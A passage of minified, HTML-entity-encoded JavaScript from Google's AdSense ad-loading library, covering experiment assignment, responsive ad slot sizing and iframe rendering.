b=Wd(),c=ye(a,we,K(b,71),K(b,72),[&quot;153762914&quot;,&quot;153762975&quot;]),d=&quot;&quot;;&quot;153762914&quot;==c?d=&quot;153762530&quot;:&quot;153762975&quot;==c&amp;&amp;(d=&quot;153762841&quot;);if(c)return{L:c,M:d};c=ye(a,we,K(b,71)+K(b,72),K(b,80),[&quot;164692081&quot;,&quot;165767636&quot;]);&quot;164692081&quot;==c?d=&quot;166717794&quot;:&quot;165767636&quot;==c&amp;&amp;(d=&quot;169062368&quot;);return{L:c||&quot;&quot;,M:d}},Be=function(a){var b=a.google_ad_modifications=a.google_ad_modifications||{};if(!b.plle){b.plle=!0;var c=b.eids=b.eids||[];b=b.loeids=b.loeids||[];var d=Wd(),e=ze(a),f=e.L;e=e.M;if(f&amp;&amp;e)M(c,f),M(c,e);else{var g=Ae(a);M(b,g.L);M(c,g.M)}g=Yd;f=ye(a,se,K(d,84),K(d,85),[g.m,g.u]);M(b,f);var h=Xd;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e);g=be;M(c,ye(a,ue,K(d,9),K(d,10),[g.m,g.ea]));Ja(&quot;&quot;)&amp;&amp;M(b,&quot;&quot;);g=fe;f=N(a,K(d,11),[g.m,g.Y]);g=Fa(g,function(a){return a==f});g=ge[g];M(c,f);M(c,g);g=L;g=N(a,K(d,12),[g.m,g.u,g.U,g.ua,g.I,g.J]);M(c,g);g||(g=je,g=N(a,K(d,58),[g.m,g.u]),M(c,g));g||(g=me,f=N(a,K(d,56),[g.m,g.u]),M(c,f));g=ce;f=N(a,K(d,13),[g.B,g.m]);M(c,f);M(c,Kc([g.da],0));g=de;f=N(a,K(d,60),[g.B,g.m]);M(c,f);f==de.B&amp;&amp;(g=ee,f=N(a,K(d,66),[g.B,g.m]),M(c,f));g=ie;f=ye(a,te,K(d,14),K(d,15),[g.m,g.D]);M(b,f);h=he;f==g.m?e=h.m:f==g.D?e=h.D:e=&quot;&quot;;M(c,e);g=le;f=ye(a,xe,K(d,54),K(d,55),[g.m,g.G,g.H,g.F]);M(b,f);h=ke;f==g.m?e=h.m:f==g.G?e=h.G:f==g.H?e=h.H:f==g.F?e=h.F:e=&quot;&quot;;M(c,e);g=$d;f=N(a,K(d,70),[g.K]);M(b,f);h=Zd;switch(f){case g.m:e=h.m;break;case g.K:e=h.K;break;case g.T:e=h.T;break;default:h=&quot;&quot;}M(c,e);g=ae;f=N(a,K(d,98),[g.m,g.u]);M(c,f);if(tb(d.V[77],!1)||vb)g=ne,f=N(a,K(d,76),[g.m,g.ha,g.Z,g.ga]),M(c,f),f||(f=N(a,K(d,83),[g.fa]),M(c,f));g=oe;f=N(a,K(d,90),[g.m,g.u]);tb(d.V[94],!1)&amp;&amp;!f&amp;&amp;(f=g.u);M(c,f);g=pe;f=N(a,K(d,92),[g.m,g.u]);M(c,f);g=qe;f=ye(a,ve,K(d,99),K(d,100),[g.m,g.u]);M(b,f);h=re;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e)}},M=function(a,b){b&amp;&amp;a.push(b)},Ce=function(a,b){a=(a=(a=a.location&amp;&amp;a.location.hash)&amp;&amp;a.match(/google_plle=([\d,]+)/))&amp;&amp;a[1];return!!a&amp;&amp;-1!=a.indexOf(b)},N=function(a,b,c){for(var d=0;d&lt;c.length;d++)if(Ce(a,c[d]))return c[d];return Kc(c,b)},ye=function(a,b,c,d,e){for(var f=0;f&lt;e.length;f++)if(Ce(a,e[f]))return e[f];f=new Ec(c,c+d-1);(d=0&gt;=d||d%e.length)||(b=b.j,d=!(b.start&lt;=f.start&amp;&amp;b.j&gt;=f.j));d?c=null:(a=Gc(a),c=null!==a&amp;&amp;f.start&lt;=a&amp;&amp;f.j&gt;=a?e[(a-c)%e.length]:null);return c};var De=function(a){if(!a)return&quot;&quot;;(a=a.toLowerCase())&amp;&amp;&quot;ca-&quot;!=a.substring(0,3)&amp;&amp;(a=&quot;ca-&quot;+a);return a};var Ee=function(a,b,c){var d=void 0===d?&quot;&quot;:d;var e=[&quot;&lt;iframe&quot;],f;for(f in a)a.hasOwnProperty(f)&amp;&amp;Kb(e,f+&quot;=&quot;+a[f]);e.push(&#039;style=&quot;&#039;+(&quot;left:0;position:absolute;top:0;width:&quot;+b+&quot;px;height:&quot;+c+&quot;px;&quot;)+&#039;&quot;&#039;);e.push(&quot;&gt;&lt;/iframe&gt;&quot;);a=a.id;b=&quot;border:none;height:&quot;+c+&quot;px;margin:0;padding:0;position:relative;visibility:visible;width:&quot;+b+&quot;px;background-color:transparent;&quot;;return[&#039;&lt;ins id=&quot;&#039;,a+&quot;_expand&quot;,&#039;&quot; style=&quot;display:inline-table;&#039;,b,void 0===d?&quot;&quot;:d,&#039;&quot;&gt;&lt;ins id=&quot;&#039;,a+&quot;_anchor&quot;,&#039;&quot; style=&quot;display:block;&#039;,b,&#039;&quot;&gt;&#039;,e.join(&quot; &quot;),&quot;&lt;/ins&gt;&lt;/ins&gt;&quot;].join(&quot;&quot;)},Fe=function(a,b,c){var d=a.document.getElementById(b).contentWindow;if(x(d))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&amp;&amp;b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open(&quot;text/html&quot;,&quot;replace&quot;):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=[&#039;&quot;&#039;];for(d=0;d&lt;c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=Sa[e])){if(!(31&lt;f&amp;&amp;127&gt;f))if(f=e,f in Ta)e=Ta[f];else if(f in Sa)e=Ta[f]=Sa[f];else{h=f.charCodeAt(0);if(31&lt;h&amp;&amp;127&gt;h)e=f;else{if(256&gt;h){if(e=&quot;\\x&quot;,16&gt;h||256&lt;h)e+=&quot;0&quot;}else e=&quot;\\u&quot;,4096&gt;h&amp;&amp;(e+=&quot;0&quot;);e+=h.toString(16).toUpperCase()}e=Ta[f]=e}h=e}b[g]=h}b.push(&#039;&quot;&#039;);a.location.replace(&quot;javascript:&quot;+b.join(&quot;&quot;))}};var Ge=null;var He={rectangle:1,horizontal:2,vertical:4};var O=function(a,b){this.v=a;this.s=b};O.prototype.minWidth=function(){return this.v};O.prototype.height=function(){return this.s};O.prototype.j=function(a){return 300&lt;a&amp;&amp;300&lt;this.s?this.v:Math.min(1200,Math.round(a))};O.prototype.o=function(a){return this.j(a)+&quot;x&quot;+this.height()};O.prototype.l=function(){};var P=function(a,b,c,d){d=void 0===d?!1:d;O.call(this,a,b);this.W=c;this.za=d};ia(P,O);P.prototype.l=function(a,b,c,d){1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var Ie=function(a){return function(b){return!!(b.W&amp;a)}};function Je(a,b){for(var c=[&quot;width&quot;,&quot;height&quot;],d=0;d&lt;c.length;d++){var e=&quot;google_ad_&quot;+c[d];if(!b.hasOwnProperty(e)){var f=A(a[c[d]]);f=null===f?null:Math.round(f);null!=f&amp;&amp;(b[e]=f)}}}var Ke=function(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();var e={x:d.left-c.left,y:d.top-c.top}}catch(f){e=null}return(a=e)?a.y:0},Le=function(a,b){do{var c=y(a,b);if(c&amp;&amp;&quot;fixed&quot;==c.position)return!1}while(a=a.parentElement);return!0},Me=function(a,b,c){var d=c.google_safe_for_responsive_override;return null!=d?d:c.google_safe_for_responsive_override=Le(a,b)},Ne=function(a){var b=0,c;for(c in He)-1!=a.indexOf(c)&amp;&amp;(b|=He[c]);return b},Oe=function(a,b){for(var c=I(b),d=0;100&gt;d&amp;&amp;a;d++){var e=y(a,b);if(e&amp;&amp;&quot;hidden&quot;==e.overflowX&amp;&amp;(e=A(e.width))&amp;&amp;e&lt;c)return!0;a=a.parentElement}return!1},Pe=function(a,b){for(var c=a,d=0;100&gt;d&amp;&amp;c;d++){var e=c.style;if(e&amp;&amp;e.height&amp;&amp;&quot;auto&quot;!=e.height&amp;&amp;&quot;inherit&quot;!=e.height||e&amp;&amp;e.maxHeight&amp;&amp;&quot;auto&quot;!=e.maxHeight&amp;&amp;&quot;inherit&quot;!=e.maxHeight)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){if((e=y(c,b))&amp;&amp;&quot;hidden&quot;==e.overflowY)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){a:{e=a;var f=[&quot;height&quot;,&quot;max-height&quot;],g=b.document.styleSheets;if(g)for(var h=e.matches||e.webkitMatchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector,k=0;k&lt;Math.min(g.length,10);++k){var m=void 0;try{var n=g[k],p=null;try{p=n.cssRules||n.rules}catch(u){if(15==u.code)throw u.styleSheet=n,u}m=p}catch(u){continue}if(m&amp;&amp;0&lt;m.length)for(p=0;p&lt;Math.min(m.length,10);++p)if(h.call(e,m[p].selectorText))for(var q=0;q&lt;f.length;++q)if(-1!=m[p].cssText.indexOf(f[q])){e=!0;break a}}e=!1}if(e)return!1;c=c.parentElement}return!0},Qe=function(a,b,c,d,e){e=e||{};if((vb&amp;&amp;a.google_top_window||a.top)!=a)return e.google_fwr_non_expansion_reason=3,!1;if(!(488&gt;I(a)))return e.google_fwr_non_expansion_reason=4,!1;if(!(a.innerHeight&gt;=a.innerWidth))return e.google_fwr_non_expansion_reason=5,!1;var f=I(a);return!f||(f-c)/f&gt;d?(e.google_fwr_non_expansion_reason=6,!1):Oe(b.parentElement,a)?(e.google_fwr_non_expansion_reason=7,!1):!0},Re=function(a,b,c,d){var e;(e=!Qe(b,c,a,.3,d))||(e=I(b),a=e-a,e&amp;&amp;5&lt;=a?a=!0:((d||{}).google_fwr_non_expansion_reason=e?-10&gt;a?11:0&gt;a?14:0==a?13:12:10,a=!1),e=!a);return e?!1:Me(c,b,d)?!0:(d.google_fwr_non_expansion_reason=9,!1)},Se=function(a){for(var b=0,c=0;100&gt;c&amp;&amp;a;c++)b+=a.offsetLeft+a.clientLeft-a.scrollLeft,a=a.offsetParent;return b},Te=function(a,b,c){return{pa:A(a.paddingLeft)||0,direction:a.direction,la:b-c}},Ue=function(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=y(b,a)}catch(d){}return!c||&quot;none&quot;!=c.display&amp;&amp;!(&quot;absolute&quot;==c.position&amp;&amp;(&quot;hidden&quot;==c.visibility||&quot;collapse&quot;==c.visibility))}return!1},Ve=function(a,b,c,d,e,f){if(a=y(c,a)){var g=Te(a,e,d);d=g.direction;a=g.pa;g=g.la;f.google_ad_resize?c=-1*(g+a)+&quot;px&quot;:(c=Se(c)+a,c=&quot;rtl&quot;==d?-1*(g-c)+&quot;px&quot;:-1*c+&quot;px&quot;);&quot;rtl&quot;==d?b.style.marginRight=c:b.style.marginLeft=c;b.style.width=e+&quot;px&quot;;b.style.zIndex=30}};var We=function(a,b,c){if(a.style){var d=A(a.style[c]);if(d)return d}if(a=y(a,b))if(c=A(a[c]))return c;return null},Xe=function(a){return function(b){return b.minWidth()&lt;=a}},$e=function(a,b,c){var d=a&amp;&amp;Ye(c,b),e=Ze(b);return function(a){return!(d&amp;&amp;a.height()&gt;=e)}},af=function(a){return function(b){return b.height()&lt;=a}},Ye=function(a,b){return Ke(a,b)&lt;rd(b).clientHeight-100},bf=function(a,b){var c=Infinity;do{var d=We(b,a,&quot;height&quot;);d&amp;&amp;(c=Math.min(c,d));(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d))}while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},cf=function(a,b){var c=We(b,a,&quot;height&quot;);if(c)return c;var d=b.style.height;b.style.height=&quot;inherit&quot;;c=We(b,a,&quot;height&quot;);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&amp;&amp;A(b.style.height))&amp;&amp;(c=Math.min(c,d)),(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d));while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},Ze=function(a){var b=a.google_unique_id;return C(a,ie.D)&amp;&amp;0==(&quot;number&quot;===typeof b?b:0)?2*rd(a).clientHeight/3:250};var Q=function(a,b,c,d,e,f,g,h,k,m,n,p,q,u){this.X=a;this.w=b;this.W=void 0===c?null:c;this.P=void 0===d?null:d;this.j=void 0===e?null:e;this.s=void 0===f?null:f;this.v=void 0===g?null:g;this.A=void 0===h?null:h;this.l=void 0===k?null:k;this.o=void 0===m?null:m;this.C=void 0===n?null:n;this.N=void 0===p?null:p;this.O=void 0===q?null:q;this.R=void 0===u?null:u},df=function(a,b,c){null!=a.W&amp;&amp;(c.google_responsive_formats=a.W);null!=a.P&amp;&amp;(c.google_safe_for_responsive_override=a.P);null!=a.j&amp;&amp;(c.google_full_width_responsive_allowed=a.j);1!=c.google_ad_resize&amp;&amp;(c.google_ad_width=a.w.j(b),c.google_ad_height=a.w.height(),c.google_ad_format=a.w.o(b),c.google_responsive_auto_format=a.X,c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,a.j&amp;&amp;(c.gfwrnh=a.w.height()+&quot;px&quot;));null!=a.s&amp;&amp;(c.google_fwr_non_expansion_reason=a.s);null!=a.v&amp;&amp;(c.gfwroml=a.v);null!=a.A&amp;&amp;(c.gfwromr=a.A);null!=a.l&amp;&amp;(c.gfwroh=a.l,c.google_resizing_height=A(a.l)||&quot;&quot;);null!=a.o&amp;&amp;(c.gfwrow=a.o,c.google_resizing_width=A(a.o)||&quot;&quot;);null!=a.C&amp;&amp;(c.gfwroz=a.C);null!=a.N&amp;&amp;(c.gml=a.N);null!=a.O&amp;&amp;(c.gmr=a.O);null!=a.R&amp;&amp;(c.gzi=a.R)};var ef=function(){return!(w(&quot;iPad&quot;)||w(&quot;Android&quot;)&amp;&amp;!w(&quot;Mobile&quot;)||w(&quot;Silk&quot;))&amp;&amp;(w(&quot;iPod&quot;)||w(&quot;iPhone&quot;)||w(&quot;Android&quot;)||w(&quot;IEMobile&quot;))};var ff=[&quot;google_content_recommendation_ui_type&quot;,&quot;google_content_recommendation_columns_num&quot;,&quot;google_content_recommendation_rows_num&quot;],R={},gf=(R.image_stacked=1/1.91,R.image_sidebyside=1/3.82,R.mobile_banner_image_sidebyside=1/3.82,R.pub_control_image_stacked=1/1.91,R.pub_control_image_sidebyside=1/3.82,R.pub_control_image_card_stacked=1/1.91,R.pub_control_image_card_sidebyside=1/3.74,R.pub_control_text=0,R.pub_control_text_card=0,R),S={},hf=(S.image_stacked=80,S.image_sidebyside=0,S.mobile_banner_image_sidebyside=0,S.pub_control_image_stacked=80,S.pub_control_image_sidebyside=0,S.pub_control_image_card_stacked=85,S.pub_control_image_card_sidebyside=0,S.pub_control_text=80,S.pub_control_text_card=80,S),jf={},kf=(jf.pub_control_image_stacked=100,jf.pub_control_image_sidebyside=200,jf.pub_control_image_card_stacked=150,jf.pub_control_image_card_sidebyside=250,jf.pub_control_text=100,jf.pub_control_text_card=150,jf),lf=function(a,b){O.call(this,a,b)};ia(lf,O);lf.prototype.j=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};var mf=function(a){var b=0;Hb(ff,function(c){null!=a[c]&amp;&amp;++b});if(0===b)return!1;if(b===ff.length)return!0;throw new H(&quot;Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together.&quot;)},qf=function(a,b){nf(a,b);if(a&lt;Ca){if(ef()){of(b,&quot;mobile_banner_image_sidebyside&quot;,1,12);var c=+b.google_content_recommendation_columns_num;c=(a-8*c-8)/c;var d=b.google_content_recommendation_ui_type;b=b.google_content_recommendation_rows_num-1;return new Q(9,new lf(a,Math.floor(c/1.91+70)+Math.floor((c*gf[d]+hf[d])*b+8*b+8)))}of(b,&quot;image_sidebyside&quot;,1,13);return new Q(9,pf(a))}of(b,&quot;image_stacked&quot;,4,2);return new Q(9,pf(a))};function pf(a){return 1200&lt;=a?new lf(1200,600):850&lt;=a?new lf(a,Math.floor(.5*a)):550&lt;=a?new lf(a,Math.floor(.6*a)):468&lt;=a?new lf(a,Math.floor(.7*a)):new lf(a,Math.floor(3.44*a))}var rf=function(a,b){nf(a,b);var c=b.google_content_recommendation_ui_type.split(&quot;,&quot;),d=b.google_content_recommendation_columns_num.split(&quot;,&quot;),e=b.google_content_recommendation_rows_num.split(&quot;,&quot;);a:{if(c.length==d.length&amp;&amp;d.length==e.length){if(1==c.length){var f=0;break a}if(2==c.length){f=a&lt;Ca?0:1;break a}throw new H(&quot;The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while &quot;+(&quot;you are providing &quot;+c.length+&#039; parameters. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;))}if(c.length!=d.length)throw new H(&#039;The parameter length of data-matched-content-ui-type does not match data-matched-content-columns-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;);throw new H(&#039;The parameter length of data-matched-content-columns-num does not match data-matched-content-rows-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;)}c=c[f];c=0==c.lastIndexOf(&quot;pub_control_&quot;,0)?c:&quot;pub_control_&quot;+c;d=+d[f];for(var g=kf[c],h=d;a/h&lt;g&amp;&amp;1&lt;h;)h--;h!==d&amp;&amp;l.console&amp;&amp;l.console.warn(&quot;adsbygoogle warning: data-matched-content-columns-num &quot;+d+&quot; is too large. We override it to &quot;+h+&quot;.&quot;);d=h;e=+e[f];of(b,c,d,e);if(Number.isNaN(d)||0===d)throw new H(&quot;Wrong value for data-matched-content-columns-num&quot;);if(Number.isNaN(e)||0===e)throw new H(&quot;Wrong value for data-matched-content-rows-num&quot;);b=Math.floor(((a-8*d-8)/d*gf[c]+hf[c])*e+8*e+8);if(1500&lt;a)throw new H(&quot;Calculated slot width is too large: &quot;+a);if(1500&lt;b)throw new H(&quot;Calculated slot height is too large: &quot;+b);return new Q(9,new lf(a,b))};function nf(a,b){if(0&gt;=a)throw new H(&quot;Invalid responsive width from Matched Content slot &quot;+b.google_ad_slot+&quot;: &quot;+a+&quot;. Please ensure to put this Matched Content slot into a non-zero width div container.&quot;)}function of(a,b,c,d){a.google_content_recommendation_ui_type=b;a.google_content_recommendation_columns_num=c;a.google_content_recommendation_rows_num=d};var sf=function(a,b){O.call(this,a,b)};ia(sf,O);sf.prototype.j=function(){return this.minWidth()};sf.prototype.l=function(a,b,c,d){var e=this.j(b);Ve(a,d,d.parentElement,b,e,c);1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var tf=function(a){return function(b){for(var c=a.length-1;0&lt;=c;--c)if(!a[c](b))return!1;return!0}},uf=function(a,b,c){for(var d=a.length,e=null,f=0;f&lt;d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&amp;&amp;(e=g)}}return e};var T=[new P(970,90,2),new P(728,90,2),new P(468,60,2),new P(336,280,1),new P(320,100,2),new P(320,50,2),new P(300,600,4),new P(300,250,1),new P(250,250,1),new P(234,60,2),new P(200,200,1),new P(180,150,1),new P(160,600,4),new P(125,125,1),new P(120,600,4),new P(120,240,4)],vf=[T[6],T[12],T[3],T[0],T[7],T[14],T[1],T[8],T[10],T[4],T[15],T[2],T[11],T[5],T[13],T[9]],wf=new P(120,120,1,!0),xf=new P(120,50,2,!0);var Af=function(a,b,c,d,e){e.gfwroml=d.style.marginLeft;e.gfwromr=d.style.marginRight;e.gfwroh=d.style.height;e.gfwrow=d.style.width;e.gfwroz=d.style.zIndex;e.google_full_width_responsive_allowed=!1;&quot;false&quot;!=e.google_full_width_responsive||yf(c)?zf(b,c,!0)||1==e.google_ad_resize?Re(a,c,d,e)?(e.google_full_width_responsive_allowed=!0,zf(b,c,!1)?b=I(c)||a:(e.google_fwr_non_expansion_reason=15,b=a)):b=a:(e.google_fwr_non_expansion_reason=2,b=a):(e.google_fwr_non_expansion_reason=1,b=a);return b!=a&amp;&amp;d.parentElement?b:a},Cf=function(a,b,c,d,e,f){f=void 0===f?!1:f;var g=Ib({},e);e=a;a=ed(247,gd,function(){return Af(a,b,c,d,g)});return Bf(a,b,c,d,g,e!=a,f)},zf=function(a,b,c){&quot;auto&quot;==a||&quot;autorelaxed&quot;==a&amp;&amp;C(b,qe.u)?b=!0:0&lt;(Ne(a)&amp;1)?(yf(b)?a=!0:(Pb(),a=Wd(),a=tb(a.V[101],!1)?!C(b,Yd.m):C(b,Yd.u)),b=a||c&amp;&amp;C(b,Yd.m)):b=!1;return b},Bf=function(a,b,c,d,e,f,g){g=void 0===g?!1:g;var h=&quot;auto&quot;==b?.25&gt;=a/Math.min(1200,I(c))?4:3:Ne(b);e.google_responsive_formats=h;var k=ef()&amp;&amp;!Ye(d,c)&amp;&amp;Me(d,c,e),m=ef()&amp;&amp;Ye(d,c)&amp;&amp;(C(c,ie.D)||C(c,ie.m))&amp;&amp;Me(d,c,e)&amp;&amp;C(c,ie.D),n=(k?vf:T).slice(0);n=Ea(n,Df(c));var p=488&gt;I(c);p=[Xe(a),Ef(p),$e(p,c,d),Ie(h)];null!=e.google_max_responsive_height&amp;&amp;p.push(af(e.google_max_responsive_height));var q=A(e.gfwrow)||0,u=A(e.gfwroh)||0;g&amp;&amp;p.push(function(a){return a.minWidth()&gt;=q&amp;&amp;a.height()&gt;=u});var z=[function(a){return!a.za}];if(k||m)k=k?bf(c,d):cf(c,d),z.push(af(k));var J=uf(n,tf(p),tf(z));g&amp;&amp;(n=new P(q,u,h),J=J||n);if(!J)throw new H(&quot;No slot size for availableWidth=&quot;+a);J=ed(248,gd,function(){a:{var b=J;var h=g;h=void 0===h?!1:h;if(f){if(e.gfwrnh){var k=A(e.gfwrnh);if(k){h=new sf(a,k);break a}}if(Ye(d,c))h=new sf(a,b.height());else{b=a/1.2;k=bf(c,d);k=Math.min(b,k);if(k&lt;.5*b||100&gt;k)k=b;h&amp;&amp;(h=A(e.gfwroh)||0,k=Math.max(k,h));h=new sf(a,Math.floor(k))}}else h=b}return h});b=Ff(b,h);return new Q(b,J,h,e.google_safe_for_responsive_override,e.google_full_width_responsive_allowed,e.google_fwr_non_expansion_reason,e.gfwroml,e.gfwromr,e.gfwroh,e.gfwrow,e.gfwroz,e.gml,e.gmr,e.gzi)},Ff=function(a,b){if(&quot;auto&quot;==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error(&quot;bad mask&quot;)},Ef=function(a){return function(b){return!(320==b.minWidth()&amp;&amp;(a&amp;&amp;50==b.height()||!a&amp;&amp;100==b.height()))}},yf=function(a){return a.location&amp;&amp;&quot;#google_full_width_responsive_preview&quot;==a.location.hash},Df=function(a){var b=[],c=C(a,le.F);(C(a,le.G)||c)&amp;&amp;b.push(wf);(C(a,le.H)||c)&amp;&amp;b.push(xf);return b};var Gf={&quot;image-top&quot;:function(a){return 600&gt;=a?284+.414*(a-250):429},&quot;image-middle&quot;:function(a){return 500&gt;=a?196-.13*(a-250):164+.2*(a-500)},&quot;image-side&quot;:function(a){return 500&gt;=a?205-.28*(a-250):134+.21*(a-500)},&quot;text-only&quot;:function(a){return 500&gt;=a?187-.228*(a-250):130},&quot;in-article&quot;:function(a){return 420&gt;=a?a/1.2:460&gt;=a?a/1.91+130:800&gt;=a?a/4:200}},Hf=function(a,b){O.call(this,a,b)};ia(Hf,O);Hf.prototype.j=function(){return Math.min(1200,this.minWidth())};var If=function(a,b,c,d,e){var f=e.google_ad_layout||&quot;image-top&quot;;if(&quot;in-article&quot;==f&amp;&amp;&quot;false&quot;!=e.google_full_width_responsive&amp;&amp;(C(b,$d.K)||C(b,$d.T)||C(b,$d.m))&amp;&amp;Qe(b,c,a,.2,e)){var g=I(b);if(g&amp;&amp;(e.google_full_width_responsive_allowed=!0,!C(b,$d.m))){var h=c.parentElement;if(h){b:for(var k=c,m=0;100&gt;m&amp;&amp;k.parentElement;++m){for(var n=k.parentElement.childNodes,p=0;p&lt;n.length;++p){var q=n[p];if(q!=k&amp;&amp;Ue(b,q))break b}k=k.parentElement;k.style.width=&quot;100%&quot;;k.style.height=&quot;auto&quot;}Ve(b,c,h,a,g,e);a=g}}}if(250&gt;a)throw new H(&quot;Fluid responsive ads must be at least 250px wide: availableWidth=&quot;+a);b=Math.min(1200,Math.floor(a));if(d&amp;&amp;&quot;in-article&quot;!=f){f=Math.ceil(d);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);return new Q(11,new O(b,f))}if(&quot;in-article&quot;!=f&amp;&amp;(d=e.google_ad_layout_key)){f=&quot;&quot;+d;d=Math.pow(10,3);if(c=(e=f.match(/([+-][0-9a-z]+)/g))&amp;&amp;e.length){a=[];for(g=0;g&lt;c;g++)a.push(parseInt(e[g],36)/d);d=a}else d=null;if(!d)throw new H(&quot;Invalid data-ad-layout-key value: &quot;+f);f=(b+-725)/1E3;e=0;c=1;a=d.length;for(g=0;g&lt;a;g++)e+=d[g]*c,c*=f;f=Math.ceil(1E3*e- -725+10);if(isNaN(f))throw new H(&quot;Invalid height: height=&quot;+f);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);if(1200&lt;f)throw new H(&quot;Fluid responsive ads must be at most 1200px tall: height=&quot;+f);return new Q(11,new O(b,f))}d=Gf[f];if(!d)throw new H(&quot;Invalid data-ad-layout value: &quot;+f);d=Math.ceil(d(b));return new Q(11,&quot;in-article&quot;==f?new Hf(b,d):new O(b,d))};var U=function(a,b){O.call(this,a,b)};ia(U,O);U.prototype.j=function(){return this.minWidth()};U.prototype.o=function(a){return O.prototype.o.call(this,a)+&quot;_0ads_al&quot;};var Jf=[new U(728,15),new U(468,15),new U(200,90),new U(180,90),new U(160,90),new U(120,90)],Kf=function(a,b,c,d){var e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=uf(Jf,Xe(a));if(!f)throw new H(&quot;No link unit size for width=&quot;+a+&quot;px&quot;);a=Math.min(a,1200);f=f.height();b=Math.max(f,b);a=(new Q(10,new U(a,Math.min(b,15==f?e:d)))).w;b=a.minWidth();a=a.height();15&lt;=c&amp;&amp;(a=c);return new Q(10,new U(b,a))};var Lf=function(a){var b=a.google_ad_format;if(&quot;autorelaxed&quot;==b)return mf(a)?9:5;if(&quot;auto&quot;==b||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(b))return 1;if(&quot;link&quot;==b)return 4;if(&quot;fluid&quot;==b)return 8},Mf=function(a,b,c,d,e){var f=d.google_ad_height||We(c,e,&quot;height&quot;);switch(a){case 5:return a=ed(247,gd,function(){return Af(b,d.google_ad_format,e,c,d)}),a!=b&amp;&amp;Ve(e,c,c.parentElement,b,a,d),qf(a,d);case 9:return rf(b,d);case 4:return Kf(b,cf(e,c),f,B(e,be.ea)?250:190);case 8:return If(b,e,c,f,d)}};var Nf=/^(\d+)x(\d+)(|_[a-z]*)$/,Of=function(a){return C(a,&quot;165767636&quot;)};var V=function(a){this.s=[];this.l=a||window;this.j=0;this.o=null;this.N=0},Pf;V.prototype.O=function(a,b){0!=this.j||0!=this.s.length||b&amp;&amp;b!=window?this.v(a,b):(this.j=2,this.C(new Qf(a,window)))};V.prototype.v=function(a,b){this.s.push(new Qf(a,b||this.l));Rf(this)};V.prototype.R=function(a){this.j=1;if(a){var b=fd(188,sa(this.A,this,!0));this.o=this.l.setTimeout(b,a)}};V.prototype.A=function(a){a&amp;&amp;++this.N;1==this.j&amp;&amp;(null!=this.o&amp;&amp;(this.l.clearTimeout(this.o),this.o=null),this.j=0);Rf(this)};V.prototype.X=function(){return!(!window||!Array)};V.prototype.P=function(){return this.N};var Rf=function(a){var b=fd(189,sa(a.va,a));a.l.setTimeout(b,0)};V.prototype.va=function(){if(0==this.j&amp;&amp;this.s.length){var a=this.s.shift();this.j=2;var b=fd(190,sa(this.C,this,a));a.j.setTimeout(b,0);Rf(this)}};V.prototype.C=function(a){this.j=0;a.l()};var Sf=function(a){try{return a.sz()}catch(b){return!1}},Tf=function(a){return!!a&amp;&amp;(&quot;object&quot;===typeof a||&quot;function&quot;===typeof a)&amp;&amp;Sf(a)&amp;&amp;Jb(a.nq)&amp;&amp;Jb(a.nqa)&amp;&amp;Jb(a.al)&amp;&amp;Jb(a.rl)},Uf=function(){if(Pf&amp;&amp;Sf(Pf))return Pf;var a=nd(),b=a.google_jobrunner;return Tf(b)?Pf=b:a.google_jobrunner=Pf=new V(a)},Vf=function(a,b){Uf().nq(a,b)},Wf=function(a,b){Uf().nqa(a,b)};V.prototype.nq=V.prototype.O;V.prototype.nqa=V.prototype.v;V.prototype.al=V.prototype.R;V.prototype.rl=V.prototype.A;V.prototype.sz=V.prototype.X;V.prototype.tc=V.prototype.P;var Qf=function(a,b){this.l=a;this.j=b};var Xf=function(a,b){var c=Rb(b);if(c){c=I(c);var d=y(a,b)||{},e=d.direction;if(&quot;0px&quot;===d.width&amp;&amp;&quot;none&quot;!=d.cssFloat)return-1;if(&quot;ltr&quot;===e&amp;&amp;c)return 